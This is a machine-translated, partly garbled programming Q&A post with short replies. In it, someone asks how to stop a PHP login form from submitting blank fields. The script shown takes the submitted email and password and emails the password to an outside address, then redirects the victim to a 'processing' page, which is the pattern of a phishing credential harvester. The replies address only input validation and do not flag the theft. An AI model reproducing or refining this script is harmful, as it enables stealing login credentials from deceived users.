我有这种形式,我希望那些没有完成用户名/密码表单的用户再次点击登录返回主页,并完成那些在处理时发送的用户热媒。 这就是我现在的样子,即使字段是空白的,它也会将每个人重定向到处理。任何机会,所以我可以适应这一个?阻止表单发送空白字段
<?
$userid = $_REQUEST['login_email'] ;
$pass = $_REQUEST['login_password'] ;
$From = "From: $userid";
$subj = "$pass";
$msg = "$userid";
$to = "[email protected]";
mail($to, $subj, $msg, $From);{
echo ("<script>");
echo("window.location=\"processing.htm\"");
echo("</script>");
}
?>
谢谢
您甚至没有[尝试](http://whathaveyoutried.com/)... – 2013-03-10 16:39:13
您不应该依赖用户数据进行正确格式化,而是让您的应用程序处理为空值/缺少参数。 – 2013-03-10 16:42:46
浏览器提交表单标签中的所有空白字段,只能用Javascript对其进行半预防。 – 2013-03-10 16:44:12